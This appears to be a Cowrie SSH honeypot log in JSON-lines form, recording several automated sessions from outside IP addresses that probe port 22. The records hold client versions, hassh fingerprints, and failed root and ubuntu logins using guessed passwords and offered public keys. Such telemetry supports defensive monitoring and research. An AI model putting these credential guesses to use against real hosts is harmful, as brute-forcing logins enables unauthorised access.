{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:09:44.756318Z","src_ip":"191.101.59.86","session":"18e96bdf141d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ROOT1234","message":"login attempt [root/ROOT1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:09:45.125926Z","src_ip":"191.101.59.86","session":"18e96bdf141d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:09:46.293952Z","src_ip":"191.101.59.86","session":"18e96bdf141d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.197.58.130","src_port":57156,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcd27007f1c1","protocol":"ssh","message":"New connection: 82.197.58.130:57156 (159.203.135.109:22) [session: fcd27007f1c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:09:52.566970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:09:52.571980Z","src_ip":"82.197.58.130","session":"fcd27007f1c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:09:52.723319Z","src_ip":"82.197.58.130","session":"fcd27007f1c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:09:53.358766Z","src_ip":"82.197.58.130","session":"fcd27007f1c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:09:54.513621Z","src_ip":"82.197.58.130","session":"fcd27007f1c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.7.127.99","src_port":61598,"dst_ip":"10.17.0.5","dst_port":22,"session":"d155f869671e","protocol":"ssh","message":"New connection: 50.7.127.99:61598 (10.17.0.5:22) [session: d155f869671e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:10:26.768873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:10:26.775011Z","src_ip":"50.7.127.99","session":"d155f869671e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:10:26.863994Z","src_ip":"50.7.127.99","session":"d155f869671e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"20:d0:c1:66:69:3c:c7:8d:10:3f:e9:6d:81:1a:89:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC116N9ZF0BS0GG84qV9kmsjb94SgIg902P0xovnWESQOOvAQHW1QLyqfBK2rvmAUlx9GJ09sQD7NbdjLCTg/Y772uCOIrvRJo/Dm8P6JaLHKw4BFVonA1X1nzT8agVJBjbzje2gHmdWmDNLNNERNZxo9v2VvLJJwtEZHDgSdUGD1fgFT1dmBNHZoHnMWxeqHW9EUYTF8v6WcD7JeGk1DNNTSmTCrM/ECsxVG3LOIrLV0w9GCOvFoo+doZT8Lhw6GeB6LVQ86ygldrE3XoDKBkQMJTG8+DbzCTnAXpD3/0q/6GJ0NrKEBz7boXU/bZTzkKSd5c23n4X2vHEyx8EsoBd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 20:d0:c1:66:69:3c:c7:8d:10:3f:e9:6d:81:1a:89:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:10:27.258765Z","src_ip":"50.7.127.99","session":"d155f869671e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"20:d0:c1:66:69:3c:c7:8d:10:3f:e9:6d:81:1a:89:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC116N9ZF0BS0GG84qV9kmsjb94SgIg902P0xovnWESQOOvAQHW1QLyqfBK2rvmAUlx9GJ09sQD7NbdjLCTg/Y772uCOIrvRJo/Dm8P6JaLHKw4BFVonA1X1nzT8agVJBjbzje2gHmdWmDNLNNERNZxo9v2VvLJJwtEZHDgSdUGD1fgFT1dmBNHZoHnMWxeqHW9EUYTF8v6WcD7JeGk1DNNTSmTCrM/ECsxVG3LOIrLV0w9GCOvFoo+doZT8Lhw6GeB6LVQ86ygldrE3XoDKBkQMJTG8+DbzCTnAXpD3/0q/6GJ0NrKEBz7boXU/bZTzkKSd5c23n4X2vHEyx8EsoBd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:10:27.262843Z","src_ip":"50.7.127.99","session":"d155f869671e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:ec:5e:2b:22:d1:39:45:54:f5:57:36:6c:a3:3e:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDqh++4vyvFe4w9pMCC9ZtPUq9PfxrGth7RWmJVa3VDkwsTHHbeIxL9/mSptKm4TXz1sR6JjQpcvnyX8UgyBoujh0GJjPQb27Dbp7fxt+4djFHDoCrtLupQ1+vZBhISeu0/Rnht4zimqCg0P2mx5g4j0aV/pIOGMFqln1tcj6/Cb0nyfe5r/No7F/hDR55IdyANMleUlbkD7QdWGjBiti2BF+7vYo9afq2+8weH1ciRBR9NgPfR1EB1nuVReVnFdxDabSmPIqT0LcR4YsXXlI77G1WTSeURR6DVXRcQgVdLZy9q31klo9XxYQB0NlKJne7raS549AaJblEChxfIMlb7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:ec:5e:2b:22:d1:39:45:54:f5:57:36:6c:a3:3e:b3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:10:27.348023Z","src_ip":"50.7.127.99","session":"d155f869671e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:ec:5e:2b:22:d1:39:45:54:f5:57:36:6c:a3:3e:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDqh++4vyvFe4w9pMCC9ZtPUq9PfxrGth7RWmJVa3VDkwsTHHbeIxL9/mSptKm4TXz1sR6JjQpcvnyX8UgyBoujh0GJjPQb27Dbp7fxt+4djFHDoCrtLupQ1+vZBhISeu0/Rnht4zimqCg0P2mx5g4j0aV/pIOGMFqln1tcj6/Cb0nyfe5r/No7F/hDR55IdyANMleUlbkD7QdWGjBiti2BF+7vYo9afq2+8weH1ciRBR9NgPfR1EB1nuVReVnFdxDabSmPIqT0LcR4YsXXlI77G1WTSeURR6DVXRcQgVdLZy9q31klo9XxYQB0NlKJne7raS549AaJblEChxfIMlb7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:10:27.352441Z","src_ip":"50.7.127.99","session":"d155f869671e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"02:bc:5a:9e:9f:f7:9a:de:d7:15:ea:b6:ad:90:fe:7d","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAM1tw6WMH8PXTZ6ma/AdQT6+fYsBRh6ZU/DfD1MZPIdqwaZUhz3MTAXhYhotT7691Huwrlq2cH8a9gEFfKDlxlzjA7eWqxTehngALTg5kDbE0FfNi2nZem9wTbs1HBahshbDKqIcHEDaOl2S6HIYGb8fNg5f6IcpRTIFRP9HQhs5AAAAFQCdrHMBOCLhrDXkG0DdKQpNmSHy/wAAAIBb+3QZPYNe53lYDWXZ/ORXNyD43rqHzUs5vniSZ9gyz57zxHJP4bpJ5D5ecOnjRGO9JvauOrnX1EvRY57wlsuNWKihDXAosHXEciqBFgeqKgRxTYCRVt7Eqifceu1YotArxWxVxFPIft+j/3Zwt5oa/gts5MY4Z0XpplaJs0YGDgAAAIAY8iEx6/xwuJDNMbbfLHK4JxcbNKgBqBpVJaUksTf+YANRpm1xaCltsgRHKJh0WJH67xD9kksH67oKBYDuorgknOoH/yQ8l8sKyqUS0PxyGRjR9VIg0ZTaayU0tzFN+vYpq32pWWZZIbmjrh808cTLXAA1mTbms90MjdOU8NFN4w==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 02:bc:5a:9e:9f:f7:9a:de:d7:15:ea:b6:ad:90:fe:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:10:27.440676Z","src_ip":"50.7.127.99","session":"d155f869671e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"02:bc:5a:9e:9f:f7:9a:de:d7:15:ea:b6:ad:90:fe:7d","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAM1tw6WMH8PXTZ6ma/AdQT6+fYsBRh6ZU/DfD1MZPIdqwaZUhz3MTAXhYhotT7691Huwrlq2cH8a9gEFfKDlxlzjA7eWqxTehngALTg5kDbE0FfNi2nZem9wTbs1HBahshbDKqIcHEDaOl2S6HIYGb8fNg5f6IcpRTIFRP9HQhs5AAAAFQCdrHMBOCLhrDXkG0DdKQpNmSHy/wAAAIBb+3QZPYNe53lYDWXZ/ORXNyD43rqHzUs5vniSZ9gyz57zxHJP4bpJ5D5ecOnjRGO9JvauOrnX1EvRY57wlsuNWKihDXAosHXEciqBFgeqKgRxTYCRVt7Eqifceu1YotArxWxVxFPIft+j/3Zwt5oa/gts5MY4Z0XpplaJs0YGDgAAAIAY8iEx6/xwuJDNMbbfLHK4JxcbNKgBqBpVJaUksTf+YANRpm1xaCltsgRHKJh0WJH67xD9kksH67oKBYDuorgknOoH/yQ8l8sKyqUS0PxyGRjR9VIg0ZTaayU0tzFN+vYpq32pWWZZIbmjrh808cTLXAA1mTbms90MjdOU8NFN4w==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:10:27.444978Z","src_ip":"50.7.127.99","session":"d155f869671e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a9:7e:96:b1:b8:4e:3f:0b:2e:e1:c8:6e:9d:9b:d1:79","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINmGelqWkqqd8c/fd9nEwvo39dd5HwmhLS2Sq8+TkIYa","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint a9:7e:96:b1:b8:4e:3f:0b:2e:e1:c8:6e:9d:9b:d1:79","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:10:27.531627Z","src_ip":"50.7.127.99","session":"d155f869671e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a9:7e:96:b1:b8:4e:3f:0b:2e:e1:c8:6e:9d:9b:d1:79","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINmGelqWkqqd8c/fd9nEwvo39dd5HwmhLS2Sq8+TkIYa","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:10:27.535817Z","src_ip":"50.7.127.99","session":"d155f869671e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:0f:5c:6e:2c:af:26:28:1c:62:d7:92:9c:1c:01:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDqclMBe7OPm4pd6CtRyrrYQaeSaZxmWPnsqdY0abOy5UBxDm8LvJWbz5JcA0xxCa67EBQrAs6OFuFKNIW29neqC2HDWDhqYy53oBonpX7vnxCg5M+tQvB5Mn3RdTu3883W/IPnixta4oW6nBpkiK+xKJQ7Eqz/4DYt9Y46+pC3rMxemf1ykRAw0mzCho8DgYm2ZJpLYHowhaH2MTJSahq+HlJv0uJX3zyxBGFUe9hJ9E8rK0NoE4azTXbt/eMac/aarZF0D6fcIi53iZyI3kaidwPQ29N0c4QFpXjhldafUbUQ0/azP86zMJg1Ko9WUi6rLAVvRpA8RRQbINPDulcp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 21:0f:5c:6e:2c:af:26:28:1c:62:d7:92:9c:1c:01:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:10:27.623724Z","src_ip":"50.7.127.99","session":"d155f869671e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:0f:5c:6e:2c:af:26:28:1c:62:d7:92:9c:1c:01:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDqclMBe7OPm4pd6CtRyrrYQaeSaZxmWPnsqdY0abOy5UBxDm8LvJWbz5JcA0xxCa67EBQrAs6OFuFKNIW29neqC2HDWDhqYy53oBonpX7vnxCg5M+tQvB5Mn3RdTu3883W/IPnixta4oW6nBpkiK+xKJQ7Eqz/4DYt9Y46+pC3rMxemf1ykRAw0mzCho8DgYm2ZJpLYHowhaH2MTJSahq+HlJv0uJX3zyxBGFUe9hJ9E8rK0NoE4azTXbt/eMac/aarZF0D6fcIi53iZyI3kaidwPQ29N0c4QFpXjhldafUbUQ0/azP86zMJg1Ko9WUi6rLAVvRpA8RRQbINPDulcp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:10:27.628121Z","src_ip":"50.7.127.99","session":"d155f869671e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:10:27.713467Z","src_ip":"50.7.127.99","session":"d155f869671e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":34830,"dst_ip":"10.17.0.5","dst_port":22,"session":"406fb146a972","protocol":"ssh","message":"New connection: 109.237.96.109:34830 (10.17.0.5:22) [session: 406fb146a972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:10:50.218957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:10:50.223678Z","src_ip":"109.237.96.109","session":"406fb146a972","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:10:50.318851Z","src_ip":"109.237.96.109","session":"406fb146a972","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kakashi","message":"login attempt [root/kakashi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:10:50.625085Z","src_ip":"109.237.96.109","session":"406fb146a972","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:10:51.721517Z","src_ip":"109.237.96.109","session":"406fb146a972","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":41882,"dst_ip":"159.203.135.109","dst_port":22,"session":"f53758de7905","protocol":"ssh","message":"New connection: 147.45.199.80:41882 (159.203.135.109:22) [session: f53758de7905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:10:54.687619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:10:54.693091Z","src_ip":"147.45.199.80","session":"f53758de7905","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:10:54.788075Z","src_ip":"147.45.199.80","session":"f53758de7905","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bugatti","message":"login attempt [root/bugatti] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:10:55.073160Z","src_ip":"147.45.199.80","session":"f53758de7905","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:10:56.176023Z","src_ip":"147.45.199.80","session":"f53758de7905","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.41.152.180","src_port":59672,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a3519b991e5","protocol":"ssh","message":"New connection: 31.41.152.180:59672 (159.203.135.109:22) [session: 3a3519b991e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:10:57.779643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:10:57.785121Z","src_ip":"31.41.152.180","session":"3a3519b991e5","protocol":"ssh"}
